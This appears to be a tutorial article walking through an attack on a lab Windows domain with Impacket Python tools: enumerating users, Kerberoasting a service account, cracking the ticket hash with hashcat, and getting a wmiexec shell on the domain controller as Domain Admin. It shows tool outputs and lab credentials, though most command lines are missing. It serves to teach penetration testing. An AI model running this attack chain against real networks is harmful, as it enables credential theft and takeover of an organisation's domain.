Python for network penetration testing: Hacking Windows domain controllers with impacket Python tools
Impacket is one of the most popular tools available for Network Penetration testing. This toolset is a great example of the power of python in network penetration testing. This article explains how Impacket can be used to perform some interesting network based attacks in an Active Directory environment.
What is impacket?
According to the official page of Impacket by SecureAuth, “Impacket is a collection of Python classes for working with network protocols. Impacket is focused on providing low-level programmatic access to the packets and for some protocols (e.g. SMB1-3 and MSRPC) the protocol implementation itself.
Packets can be constructed from scratch, as well as parsed from raw data, and the object oriented API makes it simple to work with deep hierarchies of protocols. The library provides a set of tools as examples of what can be done within the context of this library”.
Impacket library comes with a collection of python scripts that are extremely useful in various different scenarios for security professionals. In this article, we will specifically explore some of the Impacket tools that are helpful in attacking Domain Controllers in Active Directory environments.
Learn Python for Pentesting
What Windows protocols and domain controllers can Impacket exploit?
As shown in the official web page of Impacket, the following protocols are featured in Impacket.
- Ethernet, Linux “Cooked” capture.
- IP, TCP, UDP, ICMP, IGMP, ARP.
- IPv4 and IPv6 Support.
- NMB and SMB1, SMB2 and SMB3 (high-level implementations).
- MSRPC version 5, over different transports: TCP, SMB/TCP, SMB/NetBIOS and HTTP.
- Plain, NTLM and Kerberos authentications, using password/hashes/tickets/keys.
- Portions/full implementation of the following MSRPC interfaces: EPM, DTYPES, LSAD, LSAT, NRPC, RRP, SAMR, SRVS, WKST, SCMR, DCOM, WMI
- Portions of TDS (MSSQL) and LDAP protocol implementations.
Protocols such as WMI and DCOM are extremely useful in lateral movement in an AD environment. In the next few sections of the article, let us discuss how Impacket can be used against Domain Controllers to abuse some of the protocols listed here.
Installation:
Impacket can be downloaded from the official GitHub page of SecureAuthCorp and run using a python interpreter. According to the GitHub page, Python 2.6/2.7 and Python 3.7 the versions that are known to work.
In this case, we will set up Impackt using Docker on Kali Linux, which is running as a virtual machine.
Note: Docker must be installed before attempting to build the image.
First, clone the source code using git as shown in the following excerpt and navigate to the impacket directory.
$ cd impacket
$ ls
ChangeLog Dockerfile examples impacket LICENSE MANIFEST.in README.md requirements.txt setup.py tests tox.ini
$
As we can notice, there is a Dockerfile. Run the following command, to build the docker image using the Dockerfile available.
As we can notice, the image is named impacket and tagged latest. Following is the output of the preceding command.
Sending build context to Docker daemon 14.7MB
Step 1/12 : FROM python:2-alpine as compile
2-alpine: Pulling from library/python
aad63a933944: Pull complete
259d822268fb: Pull complete
10ba96d218d3: Pull complete
44ba9f6a4209: Pull complete
Digest: sha256:724d0540eb56ffaa6dd770aa13c3bc7dfc829dec561d87cb36b2f5b9ff8a760a
Status: Downloaded newer image for python:2-alpine
---> 8579e446340f
Step 2/12 : WORKDIR /opt
---> Running in 6fd58d64ac4a
Removing intermediate container 6fd58d64ac4a
---> 8e3360b25ca3
.
.
[redacted for brevity]
.
.
Step 9/12 : FROM python:2-alpine
---> 8579e446340f
Step 10/12 : COPY --from=compile /opt/venv /opt/venv
---> bcb1623ac10e
Step 11/12 : ENV PATH="/opt/venv/bin:$PATH"
---> Running in 240721305da2
Removing intermediate container 240721305da2
---> 61530384f630
Step 12/12 : ENTRYPOINT ["/bin/sh"]
---> Running in 053e56eb9132
Removing intermediate container 053e56eb9132
---> 54731856b89e
Successfully built 54731856b89e
Successfully tagged impacket:latest
Once the image is built, we can verify if the image is successfully built using the following command.
REPOSITORY TAG IMAGE ID CREATED SIZE
impacket latest 54731856b89e About a minute ago 155MB
$
After the image is built, impackt can be used by spinning up a new container. The following command can be used to spin up a new container and it gives a shell on the container by default.
On the container shell, we can type any impacket script name and hit tab for suggestions as shown in the following excerpt.
GetADUsers.py GetADUsers.pyc GetNPUsers.py GetNPUsers.pyc GetUserSPNs.py GetUserSPNs.pyc
/ #
With this, the Impacket setup is complete and we are ready to use it.
Attacking AD Environments using Impacket:
Assuming that we have already gained foothold in the network with low privileged domain user credentials, let us understand how we can use some of the scripts from Impacket to perform attacks against Active Directory environments.
Our environment:
Following is the environment we are using to demonstrate the concepts.
Domain FQDN: ADLAB.local
Low privileged user credentials: bob:p@ssw0rD
Attacking machine: Kali Linux (Impacket running using Docker within Kali Linux)
AD User Enumeration:
Enumerating Active Directory users, groups, computers and their relationships is a crucial step in attacking AD environments. Let us use the script GetADUsers.py to dump the full list of users available in the target domain. The following command can be used to retrieve AD users.
Since our attacking machine is not part of the domain, we will need to explicitly specify the domain controller IP address using -dc-ip flag as shown in the preceding command.
This command however will not return any users as an email id filter is used in the script by default and there are no email ids available in our target environment. This can be seen by runnin the preceding command with the option -debug.
This command will return an empty user list with the details of the filter used as follows.
To override this default behaviour we can use -all flag and it will return all the users available in the domain. The command looks as follows.
The output looks as follows.
-------------------- ------------ ------------------- -------------------
[+] Search Filter=(&(sAMAccountName=*)(objectCategory=user))
Administrator 2020-10-27 03:05:53.839096 <redacted>
Guest <never> <never>
krbtgt 2020-10-27 03:15:54.552696 <never>
bob 2020-10-27 03:21:17.773021 <redacted>
tom 2020-10-27 03:24:08.129552 <never>
admin 2020-10-27 03:25:06.129524 <never>
sqlservice 2020-12-15 14:49:04.366695 <redacted>
/ #
Since this is a lab setup, there are very few records setup. In a real environment, this list will be much longer. Additionally, we can also notice that the filter used this time is (&(sAMAccountName=*)(objectCategory=user)).
Using python for Privilege Escalation:
Now, let us use another python script available in Impacket library to elevate our privileges from domain user to a domain administrator. To achieve this, we are going to use a technique called Kerberoasting, which will be explained shortly. Note that the success of this attack relies on a few other factors, which we will discuss shortly.
First, let us identify all the accounts in the domain with Service Principal Name (SPN) set. This can be done using the following command.
Running this command shows the list of service accounts as follows.
---------------------------------- ---------- -------------------------------------------
DC2019/sqlservice.ADLAB.local:1434 sqlservice CN=Domain Admins,CN=Users,DC=ADLAB,DC=local
As we can notice, we got a service account named sqlservice.
What is Kerberoasting?
In an Active Directory domain environment, any authenticated domain user without administrative privileges can request service tickets (TGS) for service accounts by specifying their SPN values. In response to this request, Active Directory will return a ticket, which is encrypted using the NTLM hash of the account associated with that SPN. Once the ticket is obtained, offline cracking can be performed using tools like Hashcat to recover the service account password in plain text. If the cracked service accounts are misconfigured to have unlimited privileges such as Domain Administrator, an attacker can become a Domain Admin just by compromising these service accounts. Let us see an example of how this can be achieved using impacket’s GetUsersSPNs.py.
Requesting a TGS:
The following command can be used to request a TGS for the service account sqlservice.
The output contains an encrypted ticket which looks as follows.
We can copy this into a file named hashes.txt and run hashcat against it using a wordlist as shown below.
hashcat (v6.0.0) starting...
[REDACTED FOR BREVITRY]
$krb5tgs$23$*sqlservice$ADLAB.LOCAL$ADLAB.local/sqlservice*$bbe71f920d3b465404353ed6f2b50eb3$87ab088c9a16e3b6016303e923ac3a869de09a4536dd42c3e73d6c68524ca788e5c0bb645a288121bcfa46534641de2cb5b8d7857b2ead5fe0a085749578d3769d634eeeda25eb61386429f47889c1c431987e6ec6cd614cd5e77f346691f60320a71883623daf6e1d6dae82e3cd0c32fe7170bf7153c888fb84ffb50e7ebda8648a49095308d8d61fd68d2a11243cd281b54349127ed6d093da3f27be8fab870d663e73208b64e241931eb528282eba68d10bc77ebbfaa483937eb13ef64c6b8d0e9907cc9ce51c02866b347783a029e22b1c72de03e6c7bcf3b038bfaf6dc7fadc907b969d41b325338aa7d8aff08ecd73acada2cb1fc499be85d414897fe0d4e75a3abc9a5843b202f4aa90066a63a9b2df6b909496195d0961a8d907bb8821462368d7d224bba8618264e4db39a3237d7d2dc0ff934082e2db4f4e7d05919f1b9a9e91492c37f75ec8b3ca19add4163228a09e158a18f3697d0e17786e236c4ad46d6b0eaf1226ba99309f7fcc484641cc19a64253125fb4660b6ccc3d7cfad37fd90235cff8575a4a44be0ce8487d9e117e0ec14bc94252673c0f9fae514a08f1f38f28ab59b9c76f6dd61c88f7b638a5525a5f27448a3760cd26b1f010d0abc0715b837400e844bcdf7f3d7cec01bf30b49f82b4f252b46f10aa42c347d9e2809e28980e04d2a9004e6d06d9c71769b795e5f047b66aa7274d7f3f3d469ae487a457880cd21ed81d86b247de42bc96cf3e04f4fb4b4e3971efa21ba3de54b1aeedb412aee1eec48e2efa4bf475b29f769b99db5a6726dcc6ed5b171ab918ca02b92d1aed1916389a38d2fc3918e198c2296e9c4f5ed6d2a17937aa507f21397695defbdeb2dbfe02524ee004a313750e3b56dac53f7c5d91283cbcfd2b73a600879bed0c93e04c962076320a0eea63ce8425f787d4abf37b2bdfe12ce9d6c7ef5f45b4ccf461e3e45fa5262c1b733af7530260ed1c88342d540da20225ac002206d19835dd915bed991ec31eca7314543de461ec3bc93a53210126cf457518d2fda04096aa1c4476580a2235e21931209203283e42533c6bfcb91a74718a9b6f05f2800bd8773c609b0abc1b9907eb781c29a08dc35d631445c4363ed7f001209c7231c92b6e2a5942ff3e78b243c3b4787d041a94f07e716cd0b40fa3216d63987c4771ff2634fbf52268f3364e707bd26967b4f1d3c7f986cb984a481dc13c07ea0bed3d7ab0de0efdd85541d7ab8fd44fbb223c5a159eece421680c2726636b36649f4307291821eb01138020d70ed8c7c511ef58b7c2a7beca76bee670d1584737a496f3a0937adcb9b8a387de4cf2406829a6875d940d87c366095c71247fade89066f14029e0375317bca441d3ea95983be0a478fc32fe4b:p@ssw0rD
[REDACTED FOR BREVITY]
$
As we can notice in the preceding excerpt, the service account password is cracked.
Gaining shell as a Domain Administrator:
As a next step, one can use Impacket’s wmiexec.py to gain shell access on the Domain Controller remotely. To do this, the following command can be used.
As we can notice, we are using the service account credentials that we compromised earlier. If successful, we should see a remote shell on the Domain Controller as shown in the following excerpt.
Impacket v0.9.23.dev1+20201209.133255.ac30770 - Copyright 2020 SecureAuth Corporation
[+] Impacket Library Installation Path: /opt/venv/lib/python2.7/site-packages/impacket
[*] SMBv3.0 dialect used
[+] Target system is 192.168.235.134 and isFDQN is False
[+] StringBinding: \\\\DC2019[\\PIPE\\atsvc]
[+] StringBinding: DC2019[49666]
[+] StringBinding: 192.168.235.134[49666]
[+] StringBinding chosen: ncacn_ip_tcp:192.168.235.134[49666]
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>
We can verify our privileges using the following commands.
adlab\sqlservice
C:\>net user sqlservice
User name sqlservice
Full Name SQLService
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 12/15/2020 6:49:04 AM
Password expires Never
Password changeable 12/16/2020 6:49:04 AM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 12/15/2020 7:26:16 AM
Logon hours allowed All
Local Group Memberships
Global Group memberships *Domain Admins *Domain Users
The command completed successfully.
C:\>
As we can observe in the preceding excerpt, we have logged into the Domain Controller using Domain Admin rights.
Learn Python for Pentesting
Conclusion
In this article, we discussed how powerful python is to perform network penetration testing. To avoid reinventing the wheel by writing our own script, we made use of a powerful framework called Impacket to demonstrate the power of Python for network penetration testing. Clearly, Python can be used to create almost any popular network protocol as demonstrated in Impacket.
Sources
- Impacket - Secureauth
- Impacket - Github
- Cracking kerberos tgs tickets using kerberoasting